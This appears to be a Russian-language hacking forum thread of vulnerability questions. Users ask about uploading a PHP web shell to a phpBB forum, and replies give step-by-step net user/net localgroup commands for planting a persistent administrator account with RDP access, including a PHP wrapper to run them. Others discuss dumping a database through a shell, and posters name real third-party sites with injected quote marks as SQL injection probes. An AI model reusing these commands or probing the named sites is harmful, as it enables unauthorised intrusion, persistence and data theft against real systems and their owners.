Ваши вопросы по уязвимостям.

лью шелл в пхп бб 2.0.21 через Стили http://forum.antichat.ru/thread24488.html
получяю следующую ошибку:

Code:

 ./../templates/tmp/theme_info.cfg in /var/virtual/www/l.ru/httpdocs/forum/admin/admin_styles.php on line 78
Warning: include(./../templates/tmp/theme_info.cfg) [function.include]: failed to open stream: No such file or directory in /var/virtual/www/l.ru/httpdocs/forum/admin/admin_styles.php on line 78
 Warning: include() [function.include]: Failed opening './../templates/tmp/theme_info.cfg' for inclusion (include_path='.') in /var/virtual/www/l.ru/httpdocs/forum/admin/admin_styles.php on line 78

 

Можно ли получить RDP доступ?
1 рутишь... это уже сам
2 создаешь админскую учетку:
net user учетка пароль /add
net localgroup administrators учетка /add
net accounts /maxpwage:unlimited

3 пуск -> выполнить -> mstsc.exe

 

Залей шелл к примеру от р57 и все команды по порядку кликая выполнить.

 

недо еще пользователя добавить в группу пользователей удаленного рабочего стола(Remote Desktop Users)
не всем пользователям разрешен доступ по RDP

 

net localgroup "Remote Desktop Users" учетка /add

 

А это зачем???

Code:

net user USER PASS /add
net localgroup Administrators USER /add
net localgroup "Remote Desktop Users" /add
net accounts /maxpwage:unlimited

Если винда русская:
Administrators = Администраторы
Remote Desktop Users = Пользователи удаленного рабочего стола

 

Какким шеллом можно сдампить БД
Но БД весит более 500мб, надо что-то сильное
Но проблема в том что на всех каталогах права на чтение кроме tmp/
Тоесть надо чтоб он сразу дал скачать или с возможностью сохранение на FTP

 

http://sypex.net/

 

Ему нужна папка для сохранения дампа.


И такой вопрос... Если есть доступ к БД то можно как-то в систему на которой стоит БД залезть?

 

да, но при определенных условиях.

 

Что тебе мешает залить в /tmp а потом скачать через шелл?

 

..

PHP:

<?php
eval('net user user pass /add');
eval('net localgroup Administrators user /add');
eval('net localgroup "Remote Desktop Users" user /add');
eval('net accounts /maxpwage:unlimited');


это всё про RDP =/

 

DeluxeS, eval выполняет php код, а тебе нужно системный, юзай system() или аналоги.

 

http://www.royalgroup.it/ita/offerte_speciali.htm?id_prodotto_sel=64&id_albergo=1179'
возможно ли раскрутить скулю?

 

нет

 

ничего не происходит, перебрасывает лишь на verticalbooking.com, причем при любых значениях...

 

Вот тут работает,5ая ветка.

 

http://www.advantage.am/newsArticle.aspx?id=95'a

a 4to taoe eto?? s nim 4tota zdelat mojno??

 

Это не MSSQL:

 

a 4to mojno zdelat??